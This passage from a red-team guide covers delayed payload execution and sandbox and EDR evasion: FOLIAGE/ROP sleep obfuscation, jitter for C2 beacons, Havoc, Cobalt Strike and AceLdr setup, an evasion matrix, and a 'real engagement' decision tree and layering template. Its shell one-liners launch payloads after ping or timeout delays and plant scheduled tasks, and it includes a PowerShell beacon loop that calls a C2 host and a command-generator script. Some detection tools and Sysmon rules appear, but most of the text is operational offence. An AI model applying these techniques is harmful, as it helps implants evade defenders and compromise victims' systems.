- Behavioral: Three timer objects created in rapid succession
[TOOL] Cronos reference:
GitHub: https://github.com/Idov31/Cronos
[TOOL] Detection tool:
- Moneta: https://github.com/forrest-orr/moneta
- Hunt-Sleeping-Beacons: https://github.com/thefLink/Hunt-Sleeping-Beacons
- PE-Sieve: https://github.com/hasherezade/pe-sieve
14. Sleep Obfuscation — Foliage / Pure ROP
What it means: FOLIAGE is a sleep obfuscation technique that uses a pure ROP (Return-Oriented Programming) chain — no Timer Queue objects, no Waitable Timers, no direct API calls visible in the call stack. It manipulates thread context registers to redirect execution through a sequence of gadgets that perform memory encryption, sleep, and decryption. Used by AceLdr (Cobalt Strike) and built into Havoc C2.
14.1 How FOLIAGE Differs
Ekko: CreateTimerQueueTimer → detectable via timer forensics
Cronos: NtCreateWaitableTimer → lower but still detectable
FOLIAGE: No timers at all — pure ROP chain manipulates thread context
FOLIAGE flow:
1. Capture current thread CONTEXT via RtlCaptureContext
2. Modify CONTEXT.Rip → point to first ROP gadget
3. Modify stack → point to return chain
4. Resume with modified CONTEXT → execution diverted to gadgets
5. Gadgets call: VirtualProtect → SystemFunction032 → Sleep → ... → decrypt
6. No function call visible in call stack
Detection resistance:
- No timer object artifacts
- Call stack shows only gadget addresses (unbacked memory still suspect)
- Memory encrypted during sleep (same protection as Ekko/Cronos)
14.2 Shelter — Rust FOLIAGE Implementation
// shelter_usage.rs — Rust Shelter crate (FOLIAGE-based)
// GitHub: https://github.com/kudaes/shelter
// [dependencies]
// shelter = "0.1.1"
use shelter;
fn main() {
// Sleep for 10 seconds with memory encryption (FOLIAGE-based)
// Encrypts current PE section during sleep
let time_to_sleep = Some(10); // seconds
// Encrypt only the current memory region (fast)
let _ = shelter::fluctuate(false, time_to_sleep, None);
// Or: Encrypt the ENTIRE PE (maximum stealth, slower)
let _ = shelter::fluctuate(true, time_to_sleep, None);
// Indefinite sleep — wait for external signal
// let event_handle = ...; // HANDLE from another thread
// let _ = shelter::fluctuate(true, None, Some(event_handle));
// Execution continues here after decryption
println!("[+] Back from encrypted sleep");
}
14.3 AceLdr FOLIAGE Integration (Cobalt Strike)
# [TOOL] AceLdr — Cobalt Strike reflective loader with FOLIAGE
# GitHub: https://github.com/SolomonSklash/AceLdr
# Features:
# - FOLIAGE-based sleep (changes .text to non-executable, encrypts, sleeps)
# - WaitForSingleObjectEx for the actual sleep (alertable)
# - RC4 via SystemFunction032 for encryption
# - Return address spoofing on key WinAPI calls
# - Dynamic heap encryption between sleeps
# Setup in Cobalt Strike:
# 1. Load AceLdr.cna in Cobalt Strike Script Console
# 2. Generate shellcode via: Attacks → Packages → Windows Executable (S)
# → Listener → Output: Raw → Generate
# 3. The generated .bin uses AceLdr as the UDRL (User-Defined Reflective Loader)
# 4. On execution: beacon sleeps with FOLIAGE (no memory footprint during sleep)
14.4 OPSEC Notes for FOLIAGE
[OPSEC] FOLIAGE advantages:
- No timer queue objects → WithSecure timer-hunting tool misses it
- Call stack spoofing compatible (AceLdr does both)
- Memory encrypted + non-executable during sleep
- No kernel32 sleep API in call stack
[DETECT] FOLIAGE weaknesses:
- Unbacked memory (heap/VirtualAlloc): call stack contains gadgets from
non-PE-backed addresses → EDR call-stack anomaly detection
- Moneta still detects encrypted non-PE-backed memory regions
- PE-sieve: spots modified PE headers or injected content
[COMPARE] Technique progression:
Sleep() → WaitForSingleObject → NtDelayExecution
↓ (memory scanners added)
Ekko (timer + encrypt) → Cronos (waitable timer) → FOLIAGE (pure ROP)
↓ (call stack analysis added)
FOLIAGE + Stack Spoofing → AceLdr / Havoc Demon (2024+)
[TOOL] FOLIAGE resources:
- AceLdr: https://github.com/SolomonSklash/AceLdr
- Havoc C2 (Demon): built-in FOLIAGE technique
- Shelter (Rust): https://github.com/kudaes/shelter
15. Jitter — Randomized Sleep Intervals
What it means: Jitter adds randomness to sleep/beacon intervals. A beacon that sleeps for exactly 60 seconds, every 60 seconds, is easily detected by EDR beaconing detection. Jitter makes sleep intervals vary ±N%, so the pattern looks like background noise rather than regular C2 communication.
15.1 Jitter Calculation
// jitter.c — Randomized sleep with percentage-based jitter
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include <stdio.h>
// Calculate jittered sleep time
// base_ms: base sleep interval in milliseconds
// jitter_pct: jitter percentage (e.g., 20 = ±20%)
DWORD calculate_jitter(DWORD base_ms, int jitter_pct) {
if (jitter_pct <= 0 || jitter_pct > 100) return base_ms;
// Calculate max jitter in ms
DWORD max_jitter = (DWORD)(base_ms * jitter_pct / 100.0);
// Random offset: -(max_jitter) to +(max_jitter)
int offset = (rand() % (max_jitter * 2 + 1)) - (int)max_jitter;
DWORD result = (DWORD)((long long)base_ms + offset);
// Clamp to reasonable range
if (result < 1000) result = 1000; // Minimum 1 second
return result;
}
void jitter_sleep(DWORD base_ms, int jitter_pct) {
DWORD actual_ms = calculate_jitter(base_ms, jitter_pct);
printf("[*] Sleeping %lu ms (base=%lu, jitter=%d%%)\n",
actual_ms, base_ms, jitter_pct);
Sleep(actual_ms);
}
int main() {
srand((unsigned)time(NULL));
// Simulate C2 beacon with 30s base interval, 20% jitter
// Result: sleeps between 24s and 36s (random each iteration)
for (int i = 0; i < 5; i++) {
jitter_sleep(30000, 20); // 30s ± 20%
printf("[*] Beacon iteration %d\n", i + 1);
}
return 0;
}
15.2 Jitter in PowerShell C2
# jitter_beacon.ps1 — Jitter for PowerShell C2 callback loop
function Get-JitteredSleep {
param(
[int]$BaseSeconds = 60, # Base interval (seconds)
[int]$JitterPct = 25 # Jitter ±25%
)
$maxJitter = [int]($BaseSeconds * $JitterPct / 100)
$offset = Get-Random -Minimum (-$maxJitter) -Maximum ($maxJitter + 1)
$actualSleep = [Math]::Max(5, $BaseSeconds + $offset) # Min 5 seconds
return $actualSleep
}
# C2 beacon loop with jitter
while ($true) {
# C2 callback
# Invoke-RestMethod -Uri "https://c2.example.com/check" ...
$sleep = Get-JitteredSleep -BaseSeconds 60 -JitterPct 25
Write-Host "[*] Sleeping $sleep seconds (±25% jitter)"
Start-Sleep -Seconds $sleep
}
15.3 Jitter in C2 Frameworks
# Havoc C2: Set sleep and jitter in listener profile
# Sleep = 30 seconds, Jitter = 20%
# → actual sleep = 30s ± 6s = [24s, 36s] per beacon
# In Havoc profile (havoc.yaotl):
# Sleep = 30
# Jitter = 20
# Cobalt Strike malleable C2:
# set sleeptime "60000"; # 60 seconds base
# set jitter "25"; # 25% jitter
# Sliver C2:
# sliver > jobs
# sliver > set-sleep 30s --jitter 25%
# Metasploit:
# meterpreter > sleep --time 60 --jitter 0.2
15.4 OPSEC Notes for Jitter
[DETECT] Beaconing detection without jitter:
- EDR: beacon at exact 60s intervals → high regularity score
- JA3/TLS fingerprint + interval analysis → beacon detected
- Statistical analysis: FFT/power spectrum shows dominant frequency
[EVASION] Jitter effectiveness:
- 25-50% jitter: strong resistance to interval-based detection
- Random distribution: intervals should be uniformly distributed
- Traffic blending: beacon during business hours only (§11.2)
- Dead-time jitter: occasional "missed" beacons (random skip)
[OPSEC] C2 recommendation:
- Base interval: 60-300 seconds (longer = quieter)
- Jitter: 25-50% (lower detectability)
- Business hours only: reduces off-hours anomaly detection
- Combined: 60s ± 50% + business hours only = near-invisible
16. Tools Reference
16.1 Havoc C2 — Built-in Sleep Techniques
# [TOOL] Havoc C2 Framework (C5pider)
# GitHub: https://github.com/HavocFramework/Havoc
# Built-in sleep obfuscation: Ekko / FOLIAGE / Zilean
# Installation
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build # Build teamserver
make client-build # Build client
# Generate Demon agent with Ekko sleep:
# In Havoc GUI → Payloads → [Demon]
# Sleep Technique: Ekko
# Sleep: 30
# Jitter: 20
# Indirect Syscalls: Enabled
# Available sleep techniques (payloads/Demon/include/core/SleepObf.h):
# SLEEPOBF_NO_OBF = 0 (plain WaitForSingleObjectEx)
# SLEEPOBF_EKKO = 1 (CreateTimerQueueTimer ROP)
# SLEEPOBF_FOLIAGE= 3 (no timers, pure ROP)
# SLEEPOBF_ZILEAN = 2 (timer-based, variant)
16.2 ThreatCheck / DefenderCheck — Identify Sleep Signatures
# [TOOL] ThreatCheck — Find which bytes trigger AV detection
# Useful for testing your delay stubs
# GitHub: https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f your_loader.exe -e Defender
# GitHub: https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe your_loader.exe
# Run offline Defender scan
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File loader.exe
16.3 Hunt-Sleeping-Beacons
# [TOOL] Hunt-Sleeping-Beacons — Detect sleep-obfuscated implants
# GitHub: https://github.com/thefLink/Hunt-Sleeping-Beacons
# Compiles as a standalone executable that scans running processes:
./Hunt-Sleeping-Beacons
# What it detects:
# - Threads in alertable wait states
# - Threads waiting with RWX memory nearby
# - Timer-queue artifacts (Ekko)
# - VAD permission anomalies
16.4 Moneta / PE-sieve — Memory Scanner
# [TOOL] Moneta — Live memory scanner for implant detection
# GitHub: https://github.com/forrest-orr/moneta
# Scan a running process:
moneta.exe -p <PID>
moneta.exe -m ioc # Check all processes for IOCs
# Detects:
# - Non-PE-backed executable memory
# - Suspicious VAD entries (PAGE_NOACCESS with prior RWX)
# - Sleeping beacons (even Ekko-protected ones)
# [TOOL] PE-sieve — Scan for injected code
# GitHub: https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <PID>
pe-sieve.exe /pid <PID> /imp 3 # Deep IAT scan
16.5 Ekko / Cronos / Shelter
# [TOOL] Ekko — Timer-queue sleep obfuscation (Cracked5pider)
# GitHub: https://github.com/Cracked5pider/Ekko
# [TOOL] Cronos — Waitable timer APC sleep obfuscation (Idov31)
# GitHub: https://github.com/Idov31/Cronos
# [TOOL] Shelter — FOLIAGE-based ROP sleep obfuscation (Rust)
# GitHub: https://github.com/kudaes/shelter
# Usage (Cargo.toml): shelter = "0.1.1"
# Supports: whole-PE encryption, event-based wake, custom pattern matching
# [TOOL] AceLdr — FOLIAGE + stack spoofing for Cobalt Strike
# GitHub: https://github.com/SolomonSklash/AceLdr
# GitHub: https://github.com/CCob/AceLdr (maintained fork)
16.6 PolyEngine — API Hammer Flag
# [TOOL] PolyEngine PE Packer — supports API-hammer delay flag
# GitHub: https://github.com/mranv/PolyEngine
# Compile
go build ./cmd/builder
go build ./cmd/stub
# Pack shellcode with API hammering delay
Builder.exe shellcode.bin packed.exe --hammer
# Pack with multiple evasion features
Builder.exe shellcode.bin packed.exe --hammer --sandbox-checks
# hammer flag uses Evasion_HammerDelay():
# Calls VirtualAlloc/Free in a loop to burn ~5 minutes of wall-clock time
16.7 Sysmon Detection Rules (Blue Team Reference)
<!-- sysmon_delay_detect.xml — Detection rules for delayed execution -->
<!-- Rule 1: Suspicious ping -n with high count (ping loop delay) -->
<RuleGroup name="Delay - Ping Loop" groupRelation="and">
<ProcessCreate onmatch="include">
<Image condition="end with">ping.exe</Image>
<CommandLine condition="contains">-n </CommandLine>
<!-- Alert if count > 30 -->
<CommandLine condition="contains all">-n 3;-n 4;-n 5;-n 6;-n 7;-n 8;-n 9</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Rule 2: Task creation by suspicious parent (T1053) -->
<RuleGroup name="Delay - Suspicious Task">
<ProcessCreate onmatch="include">
<Image condition="end with">schtasks.exe</Image>
<CommandLine condition="contains">/create</CommandLine>
<ParentImage condition="end with">powershell.exe</ParentImage>
</ProcessCreate>
</RuleGroup>
17. Detection & Evasion
17.1 What EDRs Look For
Static analysis:
- Imports: Sleep, SleepEx, WaitForSingleObject in combination with shellcode injection APIs
- Large constant values (DWORD) passed to sleep functions
- Ping loop pattern: cmd.exe with ping + && + executable
- Task creation with /sc once and short delay
Behavioral analysis: - Thread in WAIT state with RWX memory nearby - Long-sleeping threads before VirtualAlloc + CreateThread - Timer queue objects created in rapid succession - Permission flip sequence: RX → RW → NA → RW → RX (Ekko/Cronos) - Alertable wait states (SleepEx/WaitForSingleObjectEx bAlertable=TRUE)
Memory scanning: - Periodic scan of all process memory - Non-PE-backed RWX regions - PAGE_NOACCESS regions in heap/VirtualAlloc space (sleeping implant) - High-entropy non-mapped memory (encrypted shellcode)
17.2 Evasion Strategy Matrix
Threat: Technique: Counter-technique:
─────────────────────────────────────────────────────────────────────────────
Sleep hook bypass → NtDelayExecution direct call → ETW + syscall monitor
Sleep acceleration → GetTickCount verification → Fake multiple timers
Memory scanning → Ekko/FOLIAGE during sleep → Hunt-Sleeping-Beacons
Beaconing detect. → Jitter + business hours → ML-based traffic model
Task sched. detect → Hidden task (Tarrask technique)→ Registry direct check
Ping loop detect → LOL: timeout /t / waitfor → Process args matching
API hammer detect → Random count + varied API mix → Behavioral heuristics
Timer queue detect → FOLIAGE (no timers) → Call stack analysis
Call stack analysis → Stack spoofing + FOLIAGE → Unbacked frame detect
17.3 Layered Defense Evasion Chain
Layer 1 — Outlast sandbox:
Condition check (CPU cores, RAM, username) → fail → exit benignly
THEN: NtDelayExecution (5 minutes, not Sleep())
THEN: Verify GetTickCount elapsed > 4900ms (detect acceleration)
THEN: API Hammer top-up (CPU-bound, unbypassable)
RESULT: Sandbox times out, payload never seen
Layer 2 — Evade behavioral engine:
Sleep with jitter (30s ± 30%)
Business hours gating (Mon-Fri, 9AM-5PM)
Process presence check (Outlook, Teams, explorer)
RESULT: Beacon looks like normal background traffic
Layer 3 — Evade memory scanner:
Sleep with Ekko/FOLIAGE/Cronos
Memory encrypted + PAGE_NOACCESS during sleep
Stack spoofing during WaitForSingleObjectEx
RESULT: Scanner sees no executable, no suspicious bytes
18. Comparison Matrix
| Technique | Sandbox Bypass | EDR Evasion | Memory Safe | Complexity | Detection Risk |
|---|---|---|---|---|---|
| Sleep() | Low (hookable) | Low | No | Trivial | Very High |
| SleepEx() | Low (hookable) | Low | No | Trivial | Very High |
| NtDelayExecution | Medium (less hooked) | Medium | No | Low | High |
| WaitForSingleObject | Medium | Medium | No | Low | Medium |
| NtWaitForSingleObject | Medium | Medium | No | Medium | Medium |
| Waitable Timer | Medium | Medium | No | Medium | Medium |
| API Hammering | High (CPU-bound) | Low | No | Medium | Medium |
| Ping Loop | High (LOLBIN) | Medium | No | Low | Medium |
| GetTickCount verify | High (detect skip) | N/A | No | Low | Low |
| Task Scheduler | High (separate process) | Medium | No | Medium | Medium |
| Condition Gate | High | Medium | No | Medium | Low |
| Ekko (sleep obfusc.) | High | High | Yes (encrypted) | High | Medium |
| Cronos | High | Very High | Yes | High | Low |
| FOLIAGE / Shelter | High | Very High | Yes | Very High | Low |
| FOLIAGE + Stack Spoof | High | Excellent | Yes | Expert | Very Low |
19. Cheat Sheet
Quick Decision Tree
Need to delay payload execution?
│
├─ CTF / Learning?
│ └─ Sleep() or NtDelayExecution → simplest, works fine
│
├─ Real engagement — bypass sandbox?
│ ├─ Cloud sandbox (ANY.RUN)?
│ │ └─ Sleep + GetTickCount verify + API Hammer (CPU-bound)
│ │ + condition check (user activity, business hours)
│ │
│ ├─ Auto-analysis sandbox (Cuckoo)?
│ │ └─ NtDelayExecution + KUSER_SHARED_DATA timing check
│ │ + Ping loop (LOLBIN, harder to hook)
│ │
│ └─ Maximum stealth (both AV + behavioral)?
│ └─ Task Scheduler (deferred execution, clean dropper exit)
│
├─ C2 implant sleep (evade memory scanner)?
│ ├─ Basic C2 (Metasploit, no sleep obfusc.)?
│ │ └─ Upgrade: add NtDelayExecution + jitter
│ │
│ ├─ Havoc Demon?
│ │ └─ Choose: Ekko (common) / FOLIAGE (stealthier) / Zilean
│ │
│ ├─ Cobalt Strike?
│ │ └─ AceLdr UDRL (FOLIAGE + stack spoofing + heap encryption)
│ │
│ └─ Custom C2?
│ └─ Implement Ekko (entry-level) → FOLIAGE (advanced)
│
└─ Evade beaconing detection?
└─ Jitter 25-50% + business hours gate + domain-fronted C2
API Summary
Delay APIs (from simplest to most advanced):
Win32 Layer:
Sleep(ms) → kernel32.dll, commonly hooked by sandboxes
SleepEx(ms, bAlertable) → kernel32.dll, alertable version
WaitForSingleObject(h, ms) → kernel32.dll, wait on kernel object
WaitForSingleObjectEx(h, ms, bAlert) → alertable WFSO (used in sleep obfusc.)
SetWaitableTimer(...) → kernel32.dll, fires after interval
CreateTimerQueueTimer(...) → ntdll.dll, foundation of Ekko
NT Layer (bypass kernel32 hooks):
NtDelayExecution(alert, &li) → ntdll.dll, native Sleep
NtWaitForSingleObject(h, alert, &li) → ntdll.dll, native WFSO
NtCreateWaitableTimer(...) → ntdll.dll, native timer
LOLBIN (no-code delay):
ping -n <count> <ip> → seconds delay via ICMP
timeout /t <sec> /nobreak → Windows native delay
choice /c ab /n /t <n> /d b → countdown delay
waitfor /t <sec> <signal> → wait for signal that never comes
Time measurement (detect acceleration):
GetTickCount() → ms since boot (hookable)
GetTickCount64() → 64-bit version
GetSystemTimeAsFileTime() → 100ns units since 1601 (hookable)
timeGetTime() → winmm.dll, high-res (hookable)
*KUSER_SHARED_DATA[0x320] → direct memory, harder to hook
__rdtsc() → CPU cycle counter, hardware-level
Common Shell Commands (Red Team)
# Ping delay (Mustang Panda style)
cmd /c ping 8.8.8.8 -n 300 > nul && "C:\Users\Public\payload.exe"
# Localhost ping (no internet needed)
cmd /c ping 127.0.0.1 -n 300 > nul
# timeout LOLBIN (Windows)
timeout /t 300 /nobreak > nul && payload.exe
# waitfor (waits for signal that never comes — timeout-based)
waitfor /t 300 SomeRandomSignal 2>nul; payload.exe
# PowerShell scheduled task delay (5 minutes from now)
$t = (Get-Date).AddMinutes(5).ToString('HH:mm')
schtasks /create /tn "Update" /tr "C:\payload.exe" /sc once /st $t /f
# Check elapsed time (sandbox detection test)
$before = [System.Environment]::TickCount
Start-Sleep -Seconds 5
$after = [System.Environment]::TickCount
if (($after - $before) -lt 4000) { Write-Host "SANDBOX DETECTED" }
# Compile delay loader (MinGW)
x86_64-w64-mingw32-gcc ntdelayexec.c -o loader.exe
# Compile with MSVC
cl.exe loader.c /Fe:loader.exe /link bcrypt.lib ntdll.lib
# Test Defender detection
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File loader.exe
Python Helpers
#!/usr/bin/env python3
# gen_delay_shellcode.py — Quick helpers for delay testing
# Calculate NtDelayExecution LARGE_INTEGER from milliseconds
def ms_to_large_integer(ms):
"""Convert milliseconds to 100-nanosecond negative interval."""
val = -(ms * 10000)
low = val & 0xFFFFFFFF
high = (val >> 32) & 0xFFFFFFFF
return f"LowPart=0x{low:08X}, HighPart=0x{high:08X}"
# Generate ping loop batch command
def ping_delay_cmd(target="8.8.8.8", count=300):
return f"cmd /c ping {target} -n {count} > nul"
# Generate schtasks command N minutes from now
from datetime import datetime, timedelta
def schtask_delay_cmd(exe_path, delay_min=10, task_name="Update"):
run_time = (datetime.now() + timedelta(minutes=delay_min)).strftime("%H:%M")
return (f'schtasks /create /tn "{task_name}" /tr "{exe_path}" '
f'/sc once /st {run_time} /f')
# Calculate jitter range
def jitter_range(base_ms, pct):
delta = base_ms * pct // 100
return f"{base_ms - delta}ms – {base_ms + delta}ms"
# Examples
print(ms_to_large_integer(300000)) # 5 min NtDelayExecution value
print(ping_delay_cmd(count=300)) # Ping loop for ~5 min
print(schtask_delay_cmd("C:\\p.exe", 5)) # Task 5 min from now
print(jitter_range(60000, 25)) # 60s ± 25% = 45s–75s
Layering Template
Recommended layered delay for C2 loader (real engagement):
Step 1: Environment gate (pre-sleep)
→ Check cores > 4, RAM > 4GB, username ≠ sandbox names
Step 2: Primary delay — sandbox outlast
→ NtDelayExecution(5 minutes) [direct NT, not Sleep()]
Step 3: Verify time elapsed
→ GetTickCount + KUSER_SHARED_DATA cross-check
→ If mismatch → exit silently (don't crash)
Step 4: User activity confirm
→ Check GetLastInputInfo idle < 30 minutes
→ Or: wait for cursor movement
Step 5: C2 beacon loop with sleep obfuscation
→ Use Ekko or FOLIAGE during each beacon sleep
→ Jitter: 30s base ± 25% = [22s, 37s]
→ Business hours gate (Mon-Fri 9-17)
Result:
✅ Sandbox never sees payload behavior (5-minute delay + detect acceleration)
✅ Memory scanner sees nothing during sleep (Ekko/FOLIAGE encrypt)
✅ Beaconing pattern doesn't stand out (jitter + business hours)
✅ No obvious sleep API in IAT (NtDelayExecution, no static Sleep import)
References & Tools
Sleep Obfuscation: - Ekko — https://github.com/Cracked5pider/Ekko (Timer Queue sleep obfuscation) - Cronos — https://github.com/Idov31/Cronos (Waitable Timer + APC ROP) - Shelter — https://github.com/kudaes/shelter (FOLIAGE / ROP, Rust crate) - AceLdr — https://github.com/CCob/AceLdr (FOLIAGE + stack spoof, Cobalt Strike)
Detection / Blue Team: - Hunt-Sleeping-Beacons — https://github.com/thefLink/Hunt-Sleeping-Beacons - Moneta — https://github.com/forrest-orr/moneta (live memory scanner) - PE-sieve — https://github.com/hasherezade/pe-sieve (injected code scanner) - vol3-suite — https://pypi.org/project/vol3-suite/ (Ekko/Kronos/Foliage detection)
C2 Frameworks (with built-in sleep obfuscation): - Havoc — https://github.com/HavocFramework/Havoc (Ekko / FOLIAGE / Zilean) - Cobalt Strike — commercial (AceLdr UDRL for FOLIAGE)
MITRE ATT&CK: - T1497.003 — Virtualization/Sandbox Evasion: Time Based Checks - T1678 — Delay Execution (added Sep 2025) - T1053.005 — Scheduled Task/Job: Scheduled Task
Research & Writeups: - Binary Defense — "Understanding Sleep Obfuscation" (Ekko, Cronos, FOLIAGE analysis) - WithSecure — "Caught somewhere in time: Hunting for timer-queue timers" - Palo Alto Unit 42 — "API Hammering Malware Families" (BazarLoader, ZLoader) - CheckPoint Evasions — https://evasions.checkpoint.com (comprehensive sandbox evasion reference) - Sektor7 — Malware Development Intermediate (sleep obfuscation module) - ired.team — https://www.ired.team (red team notes on timing evasion)